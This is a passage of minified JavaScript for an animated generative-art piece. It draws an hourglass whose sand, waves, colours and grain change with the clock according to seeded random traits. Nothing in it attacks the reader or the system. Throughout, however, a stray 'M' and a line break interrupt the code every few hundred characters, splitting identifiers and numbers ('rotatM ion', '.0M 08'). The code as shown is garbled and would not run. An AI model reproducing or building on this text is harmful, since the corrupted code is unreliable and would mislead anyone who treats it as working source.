tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
